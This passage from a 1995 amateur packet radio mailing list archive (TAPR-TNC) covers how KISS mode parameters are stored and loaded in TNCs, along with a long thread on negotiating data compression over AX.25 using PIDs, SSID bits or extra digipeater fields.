than theoretical maximums, even at 9600 bps. The faster the TNC clock rate
the better: 4.9MHz should be considered an absolute minimum."

What's a problem with 2.4 or 4.9Mhz clk TNC ? Which circuit not catch
on data and must be used 10Mhz TNC ?

73! Victor

28. KISS / "normal" switching

From: ferracci@imaginet.fr (Laurent Ferracci - F1JKJ)
Date: Tue, 24 Oct 1995 21:33:53 GMT
To: tapr-tnc@tapr.org
Message-ID: <199510242233.XAA15029@icaria.imaginet.fr>
Rendered body type: text/plain

Hello,

We were recently discussing with some friends about how "normal"
parameters were affected by a kiss switching...

Some parameters (callsign for example) seem to be kept when you swich
to kiss mode and back to "normal" operation, while some others don't
(TXdelay...)

I'd like to know more about it...Can you help me ?

+------------------------------+----------------------------+
| From Laurent FERRACCI, F1JKJ | > ferracci@imaginet.fr < |
| Montpellier, FRANCE | F1JKJ @F1RVP.FMLR.FRA.EU |
+------------------------------+----------------------------+

[PGP key on public-key servers]

29. Re: [TAPR-TNC:80] KISS / "normal" switching

From: Dave Zeph <zephd@iquest.net>
Date: Tue, 24 Oct 1995 23:18:42 +0000
To: tapr-tnc@tapr.org
Message-ID: <m0t7sbg-0003AtC@dorite1.iquest.net>
Rendered body type: text/plain

At 17:40 24/10/95 -0500, you wrote:
>Hello,
>
>We were recently discussing with some friends about how "normal"
>parameters were affected by a kiss switching...
>
>Some parameters (callsign for example) seem to be kept when you swich
>to kiss mode and back to "normal" operation, while some others don't
>(TXdelay...)
>
>I'd like to know more about it...Can you help me ?
>
>
The four parameters associated with KISS are separate from the AX.25
parameters. The KISS parameters are stored with the KISS Code which is
usually located high in the EPROM.

The four KISS parameters are TXD, SLOTTIME, PERSISTENCE, and TXTAIL. When
you execute the command KISS=ON, this separate set of values are loaded into
the the appropriate locations in TNC's RAM. So the values loaded into RAM
when the AX.25 code is in use will be orverwriten when the TNC is put into KISS.

Hope this helps explain it. BTW, I can send you the locations of the
Default Parameters for a number of the different KISS images, and a copy of
the orignal paper on KISS by KA9Q/K3MC if you are interested. For
9600/19200 baud work, I program the EPROM's with different defaults.

73 ---> Dave, W9ZRX

****
Dave Zeph, W9ZRX
Home   : (317) 896-3876
FAX/Data : (317) 867-1809
E-Mail   : zephd@iquest.net

30. Re: [TAPR-TNC:81] Re: KISS / "normal" switching

From: Bob Nielsen <nielsen@primenet.com>
Date: Tue, 24 Oct 1995 20:19:39 -0700 (MST)
To: tapr-tnc@tapr.org
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951024201331.170A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Tue, 24 Oct 1995, Dave Zeph wrote:

> At 17:40 24/10/95 -0500, you wrote:
> >Hello,
> >
> >We were recently discussing with some friends about how "normal"

> >parameters were affected by a kiss switching...
> >
> >Some parameters (callsign for example) seem to be kept when you swich
> >to kiss mode and back to "normal" operation, while some others don't
> >(TXdelay...)
> >
> >I'd like to know more about it...Can you help me ?
> >
> >
> The four parameters associated with KISS are separate from the AX.25
> parameters. The KISS parameters are stored with the KISS Code which is
> usually located high in the EPROM.
>
> The four KISS parameters are   TXD, SLOTTIME, PERSISTENCE, and TXTAIL. When
> you execute the command KISS=ON, this separate set of values are loaded into
> the the appropriate locations in TNC's RAM. So the values loaded into RAM
> when the AX.25 code is in use will be orverwriten when the TNC is put into KISS.
>
> Hope this helps explain it. BTW, I can send you the locations of the
> Default Parameters for a number of the different KISS images, and a copy of
> the orignal paper on KISS by KA9Q/K3MC if you are interested.   For
> 9600/19200 baud work, I program the EPROM's with different defaults.
>

Dave, it would be good to have the default KISS parameter locations posted somewhere on the ftp.tapr.org server. If you could ftp it to /tapr/software_lib/UPLOAD, I can put in an appropriate place (plus I would like it for my own use). Since there are several KISS images floating around, perhaps the image and parameters plus anything describing the difference between the various KISS versions, all zipped together would be best.

Bob

Bob Nielsen Internet: nielsen@primenet.com
Tucson, AZ AMPRnet: w6swe@w6swe.ampr.org
http://www.primenet.com/~nielsen AX.25: w6swe@wb7tls.az.usa.noam

31. Re: [NETSIG:2134] Re: TNC-based compression

From: "Tom Moulton" <tmoulton@ram.net>
Date: Thu, 26 Oct 95 06:29:04 EDT
To: netsig@tapr.org
Cc: tapr-tnc@tapr.org (TAPR TNC)
Message-ID: <15021573.1f68@ram.net>
Rendered body type: text/plain

>On Tue, 24 Oct 1995, Tom Moulton wrote:
>
>> Is there interest in forming a group to discuss adding compression to our
>> AX25 operations? This is another area which Hams have fallen behind...
>
>Yes
>
>>
>> The easiest way I can think of is to allocate a new PID (F2?) for use
>> with compression protocols.
>
>Any thoughts about negotiation?
>
>--
>Howard Goldstein <hg@n2wx.ampr.org> http://www.tapr.org/~n2wx
>/
>

That would be nice, but it will take years to agree upon a protocol and support it,. whereas if you use a new PID the negotiation is based on the support of the new PID!

****
Thomas A. Moulton, W2VY
w2vy@ram.net

32. Re: [NETSIG:2136] Re: TNC-based compression

From: "Tom Moulton" <tmoulton@ram.net>
Date: Thu, 26 Oct 95 06:38:44 EDT
To: netsig@tapr.org
Cc: tapr-tnc@tapr.org (TAPR TNC)
Message-ID: <15021573.1f69@ram.net>

Rendered body type: text/plain

>>Is there interest in forming a group to discuss adding compression to our
>>AX25 operations? This is another area which Hams have fallen behind...
>
>Question:
>
>Would compression IN THE NETWORK, should such a thing be possible, negate th
>e
>compression done by bbs software authors in compressing the forwarded
>messages? In other words, would trying to compress what is already mostly
>compressed be a "wasted" effort? Not saying one is better than the other, b
>ut
>for personal opinion, I would rather see the whole network compressed, than
>just the forwarded messages themselves.
>
>Just a thought...

I mentioned that the network would need compression, but I meant it for when
the usert wanted to connect TO the network to carry out a dialogue with
the network switch. (I just remembered that with TheNet you Always talk
to the Node... Humm... With ROSE you only talk TO the Switch when you
are accessing one of the builtin applications...)

It is very important to do compression on the User TNC, reduce the traffic
they will send over the unrelaible user channel. (Reduce the number of
transmissions and potential collisions... Yes they will send more so,
So What... but they sent more so they will be happier...)

****
Thomas A. Moulton, W2VY
w2vy@ram.net

33. Re: TNC-based compression

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 26 Oct 1995 07:45:54 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951026072932.209D-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Thu, 26 Oct 1995, Tom Moulton wrote:

> >Any thoughts about negotiation?
>
> That would be nice, but it will take years to agree upon a protocol and
> support it,. whereas if you use a new PID the negotiation is based
> on the support of the new PID!

Are you saying it'll take years to negotiate the negotiation? :-) :-) :-)

I'll be happy if say you and me could agree on something, one network and
one TNC, then the rest will (maybe) follow suit (if they want). I'll
assume this situation for the moment since it also handles things locally
for me quite well: BBSs feeding ROSE switches at 9600 for users talking
to the network at 1200....

Also assuming a new PID is used, how would the compressing TNC detect a
non compressing TNC? TNC-2 rather stupidly handles the PID field now: It
ignores it in human-user mode and passes it through to the computer in
host mode. What handshake were you thinking of?

The system I don't like but is one possible way would have the connecting
tnc do something like this

c k9dog @ w4oof-3, 407567, ^00001

k9dog if he's compatible knows enough to parse the 3d digi field and not
wait for the non-existent ^00001 digi to do something (this third field
can be a hex coded bitmap; reserving I dunno, 2 or 4 bits for a
compression technique and the rest open for future handshaking (?)

Negotiation from the source side would be on a try/fail basis. No reply
to the attempt to connect via .... ^.... and he'll try again without it.
Takes a long time with retry 15 (takes forever if retry is set to 0 :)
Attempt to negotiate can be on a switch or part of the human's tnc C
command...?

--

Howard Goldstein <hg@n2wx.ampr.org> http://www.tapr.org/~n2wx/

34. Re: [TAPR-TNC:85] Re: TNC-based compression

From: "Tom Moulton" <tmoulton@ram.net>
Date: Thu, 26 Oct 95 09:01:20 EDT
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f6a@ram.net>
Rendered body type: text/plain

>> >Any thoughts about negotiation?
>>
>> That would be nice, but it will take years to agree upon a protocol and
>> support it,. whereas if you use a new PID the negotiation is based
>> on the support of the new PID!
>
>
>Are you saying it'll take years to negotiate the negotiation? :-) :-) :-)
>
>I'll be happy if say you and me could agree on something, one network and
>one TNC, then the rest will (maybe) follow suit (if they want). I'll
>assume this situation for the moment since it also handles things locally
>for me quite well: BBSs feeding ROSE switches at 9600 for users talking
>to the network at 1200....

Ok. I have thought about it more. I guess SOME negotiation is required.
I also think that it is an issue between the two end points, not all the
devices inbetween, after all the idea is to Save resources, not have every
device compress, decompress the data...

>
>Also assuming a new PID is used, how would the compressing TNC detect a
>non compressing TNC? TNC-2 rather stupidly handles the PID field now: It
>ignores it in human-user mode and passes it through to the computer in
>host mode. What handshake were you thinking of?

That may not work. If the RX TNC gets an F2 frame and ignores the PID it
will corrupt the data stream...

>
>The system I don't like but is one possible way would have the connecting
>tnc do something like this
>
>c k9dog @ w4oof-3, 407567, ^00001
>
>k9dog if he's compatible knows enough to parse the 3d digi field and not
>wait for the non-existent ^00001 digi to do something (this third field
>can be a hex coded bitmap; reserving I dunno, 2 or 4 bits for a
>compression technique and the rest open for future handshaking (?)
>

I don't think so...

Lemme look at HDLC and see what options we have there...

****
Thomas A. Moulton, W2VY
w2vy@ram.net

35. Re: [TAPR-TNC:86] Re: TNC-based compression

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 26 Oct 1995 10:47:05 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951026103925.165B-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Thu, 26 Oct 1995, Tom Moulton wrote:

> >
> >Also assuming a new PID is used, how would the compressing TNC detect a
> >non compressing TNC? TNC-2 rather stupidly handles the PID field now: It
> >ignores it in human-user mode and passes it through to the computer in
> >host mode. What handshake were you thinking of?
>
> That may not work. If the RX TNC gets an F2 frame and ignores the PID it
> will corrupt the data stream...

What I should have said was it ignores the PID byte but the data are

passed along anyway as if it had F0. No corruption, just no PID info
passed along.

>
> >
> >The system I don't like but is one possible way would have the connecting
> >tnc do something like this
> >
> >c k9dog @ w4oof-3, 407567, ^00001
> >
> >k9dog if he's compatible knows enough to parse the 3d digi field and not
> >wait for the non-existent ^00001 digi to do something (this third field
> >can be a hex coded bitmap; reserving I dunno, 2 or 4 bits for a
> >compression technique and the rest open for future handshaking (?)
> >
>
> I don't think so...

Why not? It might be a dumb idea but it seems it deserves more than an
out-of-hand dismissal.

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

36. RE: [TAPR-TNC:83] Re: [NETSIG:2134] Re:

From: Marc Olanie <Marco@decision.suptel.fr>
Date: Thu, 26 Oct 95 12:16:00 +1
To: tapr-tnc <tapr-tnc@tapr.org>
Message-ID: <308F7CCC@gw-msmail.suptel.fr>
Rendered body type: text/plain

That would be nice, but it will take years to agree upon a protocol and
support it,. whereas if you use a new PID the negotiation is based
on the support of the new PID!

It could be more useful to consider compression from a modulation point
of view (QPSK, 64AQPM looking like mods a.s.o.) and compressing
information at a AF level with classicals compressions IC used in
cellular phone systems (using Huffman algos). Am I wrong ?
The only problem with this kind of opinion is that we must reconsider the
whole transmition line and use wide band XMTR and "time slot" oriented
transmissions techniques. But it works, with a simple ATV bug and a
modified G3RUH modem (sorry, no more TNC)
Marc
F6ITU
Marco@decision.suptel.fr

37. Re: [TAPR-TNC:87] Re: TNC-based compression

From: "Tom Moulton" <tmoulton@ram.net>
Date: Thu, 26 Oct 95 11:35:57 EDT
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f6d@ram.net>
Rendered body type: text/plain

>
>What I should have said was it ignores the PID byte but the data are
>passed along anyway as if it had F0. No corruption, just no PID info
>passed along.
>
If the F2 frame had Negotiation parms in it and it was passed as regular
data the data stream did get corrupted...

>>
>> >
>> >The system I don't like but is one possible way would have the connecting
>
>> >tnc do something like this
>> >
>> >c k9dog @ w4oof-3, 407567, ^00001
>> >
>> >k9dog if he's compatible knows enough to parse the 3d digi field and not
>> >wait for the non-existent ^00001 digi to do something (this third field
>> >can be a hex coded bitmap; reserving I dunno, 2 or 4 bits for a
>> >compression technique and the rest open for future handshaking (?)
>> >
>>
>> I don't think so...
>
>Why not? It might be a dumb idea but it seems it deserves more than an

>out-of-hand dismissal.
>

The extra digi field COULD work, but that would also require that the
network be informed that the pair of users were using compression so
that it would set the calls up right.

I am hoping for something else that might be simpler and would allow
efficent operation with existing systems.

What about the 2 reserved bits in the SSID of the Source and Destination
stations?

I would like to have something that could work Point to Point and fairly
transparent to the Network as well.

What I have wanted to look up is either using a UI or XID for the
negotiation. I know there have been XID proposals in the past, I
wonder (in 100 words or LESS) what the general feeling of XID is.

****
Thomas A. Moulton, W2VY
w2vy@ram.net

38. Re: [TAPR-TNC:89] Re: TNC-based compression

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 26 Oct 1995 17:15:12 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951026170907.176A-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Thu, 26 Oct 1995, Tom Moulton wrote:

> >> >The system I don't like but is one possible way would have the connecting
> >
> >> >tnc do something like this
> >> >
> >> >c k9dog @ w4oof-3, 407567, ^00001
> >> >
> >> >k9dog if he's compatible knows enough to parse the 3d digi field and not
> >> >wait for the non-existent ^00001 digi to do something (this third field
> >> >can be a hex coded bitmap; reserving I dunno, 2 or 4 bits for a
> >> >compression technique and the rest open for future handshaking (?)
> >> >
> >>
> >> I don't think so...
> >
> >Why not? It might be a dumb idea but it seems it deserves more than an
> >out-of-hand dismissal.
> >
>
> The extra digi field COULD work, but that would also require that the
> network be informed that the pair of users were using compression so
> that it would set the calls up right.

Why?

If the network passes a regular digi field can't it pass this one? (so
long as it doesn't puke on '^' or whatever)

The biggest problem with my dumb idea is all the overhead after the call
is established, otherwise it'd seem to meet all the criteria. While it's
possible for two directly connected TNCs to dispose of the extra field
after the negotiation is finished, it won't work across preexisting
networks.

>
> I am hoping for something else that might be simpler and would allow
> efficent operation with existing systems.
>
> What about the 2 reserved bits in the SSID of the Source and Destination
> stations?

This should work...

>
> I would like to have something that could work Point to Point and fairly
> transparent to the Network as well.
>

> What I have wanted to look up is either using a UI or XID for the
> negotiation. I know there have been XID proposals in the past, I
> wonder (in 100 words or LESS) what the general feeling of XID is.

In exactly 5 words, "might as well do l2v3" :-)

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

39. Re: [TAPR-TNC:90] Re: TNC-based compression

From: Greg Jones <gjones@tenet.edu>
Date: Thu, 26 Oct 1995 17:20:25 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199510262220.RAA18138@beall.tenet.edu>
Rendered body type: text/plain

Why not just send a simple frame after the connect that would establish the
followup compression routine. Call it a protocol handshake.

Then on the none-equiped units the person would just see a 1 byte maybe 2
byte word appear -- or even a simple text string.

Greg

According to Howard Goldstein:
>
> On Thu, 26 Oct 1995, Tom Moulton wrote:
>
> > >> >The system I don't like but is one possible way would have the connecting
> > >
> > >> >tnc do something like this
> > >> >
> > >> >c k9dog @ w4oof-3, 407567, ^00001
> > >> >
> > >> >k9dog if he's compatible knows enough to parse the 3d digi field and not
> > >> >wait for the non-existent ^00001 digi to do something (this third field
> > >> >can be a hex coded bitmap; reserving I dunno, 2 or 4 bits for a
> > >> >compression technique and the rest open for future handshaking (?)
> > >> >
> > >>
> > >> I don't think so...
> > >
> > >Why not? It might be a dumb idea but it seems it deserves more than an
> > >out-of-hand dismissal.
> > >
> >
> > The extra digi field COULD work, but that would also require that the
> > network be informed that the pair of users were using compression so
> > that it would set the calls up right.
>
> Why?
>
> If the network passes a regular digi field can't it pass this one? (so
> long as it doesn't puke on '^' or whatever)
>
> The biggest problem with my dumb idea is all the overhead after the call
> is established, otherwise it'd seem to meet all the criteria. While it's
> possible for two directly connected TNCs to dispose of the extra field
> after the negotiation is finished, it won't work across preexisting
> networks.
>
> >
> > I am hoping for something else that might be simpler and would allow
> > efficent operation with existing systems.
> >
> > What about the 2 reserved bits in the SSID of the Source and Destination
> > stations?
>
> This should work...
>
> >
> > I would like to have something that could work Point to Point and fairly
> > transparent to the Network as well.
> >
> > What I have wanted to look up is either using a UI or XID for the
> > negotiation. I know there have been XID proposals in the past, I
> > wonder (in 100 words or LESS) what the general feeling of XID is.
>

> In exactly 5 words, "might as well do l2v3" :-)
>
>
> --
> Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/
>
>

40. Re: [TAPR-TNC:91] Re: TNC-based compression

From: "Tom Moulton" <tmoulton@ram.net>
Date: Thu, 26 Oct 95 19:57:44 EDT
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f77@ram.net>
Rendered body type: text/plain

>From: Greg Jones <gjones@tenet.edu>

>Why not just send a simple frame after the connect that would establish the
>followup compression routine. Call it a protocol handshake.
>
>Then on the none-equiped units the person would just see a 1 byte maybe 2
>byte word appear -- or even a simple text string.
>
>Greg

Not a bad idea.

I think Howie and I were trying to come up with a scheme that would be
interoperable and not have any side effects (like added data)...

maybe we got too caught up in a longer term solution...

>> > The extra digi field COULD work, but that would also require that the
>> > network be informed that the pair of users were using compression so
>> > that it would set the calls up right.
>>
>> Why?
>>
>> If the network passes a regular digi field can't it pass this one? (so
>> long as it doesn't puke on '^' or whatever)
>>
>> The biggest problem with my dumb idea is all the overhead after the call
>> is established, otherwise it'd seem to meet all the criteria. While it's
>> possible for two directly connected TNCs to dispose of the extra field
>> after the negotiation is finished, it won't work across preexisting
>> networks.
>>

The exit digi is going to be used for other things in the future. I also
do not really want to design a solution that will only work with ROSE.

>> >
>> > I am hoping for something else that might be simpler and would allow
>> > efficent operation with existing systems.
>> >
>> > What about the 2 reserved bits in the SSID of the Source and Destination
>> > stations?
>>
>> This should work...
>>

Maybe this or Greg's suggestion...

>> >
>> > I would like to have something that could work Point to Point and fairly
>> > transparent to the Network as well.
>> >
>> > What I have wanted to look up is either using a UI or XID for the
>> > negotiation. I know there have been XID proposals in the past, I
>> > wonder (in 100 words or LESS) what the general feeling of XID is.
>>
>> In exactly 5 words, "might as well do l2v3" :-)

I have seen a VERY Old Version 3 doc and have asked the author numerious
times for a more recent Draft... nothing... The one saw was over 2 Years old

****

Thomas A. Moulton, W2VY
w2vy@ram.net

41. Re: [TAPR-TNC:92] Re: TNC-based compression

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 26 Oct 1995 22:18:07 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951026220328.243C@n2wx.ampr.org>
Rendered body type: text/plain

On Thu, 26 Oct 1995, Tom Moulton wrote:

> >From: Greg Jones <gjones@tenet.edu>
>
> >Why not just send a simple frame after the connect that would establish the
> >followup compression routine. Call it a protocol handshake.
> >
> >Then on the none-equiped units the person would just see a 1 byte maybe 2
> >byte word appear -- or even a simple text string.
> >
> >Greg
>
> Not a bad idea.
>
> I think Howie and I were trying to come up with a scheme that would be
> interoperable and not have any side effects (like added data)...
>
> maybe we got too caught up in a longer term solution...

I think it critical to avoid corrupting the data stream unless there is no
other way. Joe Ham's gonna get frustrated when every time he connects to
to read the latest 4SALE "Tower in Timbuktu" messages his local bbs
kicks an "?EH" back on his first command.

> >> The biggest problem with my dumb idea is all the overhead after the call
> >> is established, otherwise it'd seem to meet all the criteria. While it's
> >> possible for two directly connected TNCs to dispose of the extra field
> >> after the negotiation is finished, it won't work across preexisting
> >> networks.
> >>
>
> The exit digi is going to be used for other things in the future. I also
> do not really want to design a solution that will only work with ROSE.

This isn't an exit digi, it's a digi AFTER it leaves the called node that
so far as I know is already transparent to ROSE. The idea suffers from
problems, but interoperability and transparency are not amongst them (when
the digi stays in the path)...

> >> > What about the 2 reserved bits in the SSID of the Source and Destination
> >> > stations?
> >>
> >> This should work...
> >>
>
> Maybe this or Greg's suggestion...

After additional thought I'll abstain from supporting either one. Data
stream corruption is a dear price to pay and the reserved bits are not
gauranteed compatible with existing networks (does netrom, texnet, the
DAMA stuff, etc etc pass the reserved bits unmolested?)

And I'm becoming somewhat more enamored with the dumb idea. So far as I
can tell nothing else proposed passes the interoperability and
pristineness tests, but it feels terribly kludgey. Must be a better way
short of throwing out the entire protocol layer to put in v3 (?)(will v3
pass through old networks? Is it even worth worrying about old networks?)

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

42. Re: [TAPR-TNC:92] Re: TNC-based compression

From: Greg Jones <gjones@tenet.edu>
Date: Thu, 26 Oct 1995 23:41:07 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199510270441.XAA30489@Gayle-Gaston.tenet.edu>
Rendered body type: text/plain

Trying to be completely transparent within the current standard might be
favorable, but also might not be possible with impacting what others are
trying to do are doing.

I guess we should think about breaking th process down into elements ?

What does it take to make this into a development process.

1. Handshaking Method
2. Data Compression Method

What else from a spec/project point of view or do we try to set one
standard for data compression.

Personally I would hate to have several data compression methods having to
be supported...even if the one that was picked was not the most
efficient...but I know amateurs -- we will have several data compression
methods eventaully supported.

That is why there is a good argument to do the compression in the
client/server interface.

Cheers - Greg

43. Re: [TAPR-TNC:93] Re: TNC-based compression

From: "Tom Moulton" <tmoulton@ram.net>
Date: Fri, 27 Oct 95 06:06:21 EDT
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f7b@ram.net>
Rendered body type: text/plain

>
>I think it critical to avoid corrupting the data stream unless there is no
>other way. Joe Ham's gonna get frustrated when every time he connects to
>to read the latest 4SALE "Tower in Timbuktu" messages his local bbs
>kicks an "?EH" back on his first command.
>
Yea, but it would give us a way to test right now...

>
>This isn't an exit digi, it's a digi AFTER it leaves the called node that
>so far as I know is already transparent to ROSE. The idea suffers from
>problems, but interoperability and transparency are not amongst them (when
>the digi stays in the path)...
>

C Stn Via ROSE-3.201338,exit-digi

Ya know what would be the LAST Digi on one end would be the first on the
other end. that would make it a bit wierd...

>> >> > What about the 2 reserved bits in the SSID of the Source and Destinat
>ion
>> >> > stations?
>> >>
>> >> This should work...
>> >>
>>
>> Maybe this or Greg's suggestion...
>
>After additional thought I'll abstain from supporting either one. Data
>stream corruption is a dear price to pay and the reserved bits are not
>gauranteed compatible with existing networks (does netrom, texnet, the
>DAMA stuff, etc etc pass the reserved bits unmolested?)

The dumb idea will need code to support it as well, switches know to ignore
the binary digi fields...
>
>And I'm becoming somewhat more enamored with the dumb idea. So far as I
>can tell nothing else proposed passes the interoperability and
>pristineness tests, but it feels terribly kludgey. Must be a better way
>short of throwing out the entire protocol layer to put in v3 (?)(will v3
>pass through old networks? Is it even worth worrying about old networks?)
>

XID has it's own problems of timing, etc

****
Thomas A. Moulton, W2VY
w2vy@ram.net

44. Re: [NETSIG:2141] Re: TNC-based compression -Reply

From: "Tom Moulton" <tmoulton@ram.net>
Date: Fri, 27 Oct 95 06:16:31 EDT
To: netsig@tapr.org, tapr-tnc@tapr.org (TAPR TNC)
Message-ID: <15021573.1f7c@ram.net>
Rendered body type: text/plain

>Hmm.. We already are using a number of PID's for different
>protocols/features, selected with <?> no rhyme or reason..
>Those certainly won't go away.   Picking a specific PID for
>compression doesn't tell you what other features that packet
>might be carrying. (NET/ROM, for example)
>
>I suggest that if there's an unused bit in the PID field not
>already claimed by one of the PID's in use, then the
>presence of that bit indicate compression (or maybe grab 2
>unused bits so we can eventually have the choice of up to 3
>compression schemes).
>
>For instance, I seem to remember NET/ROM using C8 (I
>don't have my docs with me, so that's probably wrong).
>That's 11001000b; setting bit 0 (10101001b; C9) would
>indicate NETROM with compression).
>
>Or am I just blowing smoke?
>
>Does someone have a list of PID's in use?
>
>Would be impossible to retrofit everything out there; you'd
>have to make it the responsibility of the
>'compression-aware' box to attempt compression, then
>back off if it didn't get the proper response from the other
>end.
>
>Comments? This really ought to go to the TNC SIG soon...
>
>73 - Orv - WB6WEY
>orv@micom.com
>
>

I would like to hear about all the PIDs in use.

I would also like to suggest that the Fx range be reserved for Stream
oriented protocols (like a TNC)

I think that F0 is the only one in use above F0

The rest are block oriented protocols.

I don't think we should slice out major parts of the PID map with bit maps.

The discussion has been going on in tnc-sig already

****
Thomas A. Moulton, W2VY
w2vy@ram.net

45. TNC Based Compression - Protocols

From: "Tom Moulton" <tmoulton@ram.net>
Date: Fri, 27 Oct 95 07:58:06 EDT
To: tapr-tnc@tapr.org (TAPR TNC)
Message-ID: <15021573.1f7d@ram.net>
Rendered body type: text/plain

Greg,

You are right, there are two distinctly seperate issues.

Let's use this thread to discuss the actual compression techniques to use.

I am no compression expert.

****
Thomas A. Moulton, W2VY

w2vy@ram.net

46. Re: [TAPR-TNC:95] Re: TNC-based compression

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 27 Oct 1995 08:39:06 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951027083303.266H-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Fri, 27 Oct 1995, Tom Moulton wrote:

> >This isn't an exit digi, it's a digi AFTER it leaves the called node that
> >so far as I know is already transparent to ROSE. The idea suffers from
> >problems, but interoperability and transparency are not amongst them (when
> >the digi stays in the path)...
> >
>
> C Stn Via ROSE-3.201338,exit-digi
>
> Ya know what would be the LAST Digi on one end would be the first on the
> other end. that would make it a bit wierd...

Yeah it would look awful weird but the called TNC would set the 'repeated'
bit so it shouldn't interfere.

> >
> >After additional thought I'll abstain from supporting either one. Data
> >stream corruption is a dear price to pay and the reserved bits are not
> >gauranteed compatible with existing networks (does netrom, texnet, the
> >DAMA stuff, etc etc pass the reserved bits unmolested?)
>
> The dumb idea will need code to support it as well, switches know to ignore
> the binary digi fields...

I think this need for support applies regardless of the compression scheme
chosen.

Along the lines of Greg's last message, which compression scheme do
yall think we should we be considering?

--
Howard Goldstein <hg@n2wx.ampr.org> http://www.tapr.org/~n2wx/

47. TNC Based Compression - Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Fri, 27 Oct 95 09:06:14 EDT
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f7e@ram.net>
Rendered body type: text/plain

Greg,

You are right, there are two distinctly seperate issues.

Let's use this thread to discuss the methods to negotiate if compression
is being used and once that is determined leave the specification of
the actual parameter negotiation to the Protocol Spec.

I would like to summarize the suggestions made so far:

1) New PID
2) Use extra digi
3) Use extra bits in SSID
4) Send Init string in normal data stream

Two of these do not require modifications to ROSE (and possibly TheNet)

1) Send Init string - User (aka Joe Ham) would see garbage
4) New PID - User would see garbage - Newer TNCs could Ignore based upon
                                      PIDCHECK Y/N

The following might work point to point but would require modifications
to all networking solutions

2) Use extra Digi - This would be the first OR the last digi, depending
                    which station started the connection

3) Use extra bits in SSID - These bits would always be in the same place
                            and do not add extra overhead and can
                            interoperate with current TNC's fine.

I would like to propose that we examine using #3 to indicate to the
remote station that Compression CAN BE SUPPORTED and then the remote
could use #4 (New PID) to send first negotiation request.

If we were just using point to point we could use the SSID bits for more,
but with the network solutions you don't actually contact the remote
until AFTER the first hop has send the UA.

I would also suggest that we only use the SSID bits of the Sending station
and leave the others for later. (Logic is we are indicating capibilities
of the sending station...)

****
Thomas A. Moulton, W2VY
w2vy@ram.net

48. TNC Based Compression - Protocols

From: "Tom Moulton" <tmoulton@ram.net>
Date: Fri, 27 Oct 95 09:18:14 EDT
To: tapr-tnc@tapr.org (TAPR TNC)
Message-ID: <15021573.1f80@ram.net>
Rendered body type: text/plain

Greg,

You are right, there are two distinctly seperate issues.

Let's use this thread to discuss the actual compression techniques to use.

I am no compression expert.

****
Thomas A. Moulton, W2VY
w2vy@ram.net

49. [NETSIG:2155] Re: TNC-based compression -Reply (fwd)

From: Greg Jones <gjones@tenet.edu>
Date: Sat, 28 Oct 1995 00:27:10 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199510280527.AAA10702@Kay-Abernathy.tenet.edu>
Rendered body type: text/plain

According to Brian A. Lantz:
>From daemon Fri Oct 27 23:52:46 1995
Date: Fri, 27 Oct 1995 23:52:16 -0500
Message-Id: <Pine.LNX.3.91.951027094503.1955F-100000@lantz.com>
Reply-To: netsig@tapr.org
Originator: netsig@tapr.org
Sender: netsig@tapr.org
Precedence: bulk
From: "Brian A. Lantz" <brian@lantz.com>
To: netsig@tapr.org
Subject: [NETSIG:2155] Re: TNC-based compression -Reply
X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas
X-Comment: Tucson Amateur Packet Radio Networking SIG
Content-Type: TEXT/PLAIN; charset=US-ASCII
MIME-Version: 1.0
In-Reply-To: <s08eb1b3.073@micom.com>

On Thu, 26 Oct 1995, Orville Beach wrote:

> Does someone have a list of PID's in use?

Hi, Orv!

Here are a list of the ones defined that xNOS knows of:

```
        PID_X25         0x01    /* CCITT X.25 PLP */
        PID_SEGMENT     0x08    /* Segmentation fragment */
        PID_TEXNET      0xc3    /* TEXNET datagram protocol */
        PID_LQ          0xc4    /* Link quality protocol */
        PID_APPLETALK   0xca    /* Appletalk */
        PID_APPLEARP    0xcb    /* Appletalk ARP */
        PID_IP          0xcc    /* ARPA Internet Protocol */
        PID_ARP         0xcd    /* ARPA Address Resolution Protocol */
```

```
        PID_RARP        0xce    /* ARPA Reverse Address Resolution Protocol */
        PID_NETROM      0xcf    /* NET/ROM */
        PID_NO_L3       0xf0    /* No level 3 protocol */



-------------------------------------------------------------
Brian A. Lantz     http://www.lantz.com     brian@lantz.com

REAL PORTION of Microsoft Windows code:
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

50. Re: [NETSIG:2150] Re: TNC-based compression

From: "Brian A. Lantz" <brian@lantz.com>
Date: Sat, 28 Oct 1995 10:40:39 -0400 (EDT)
To: Howard Goldstein <hg@penny.n2wx.ampr.org>
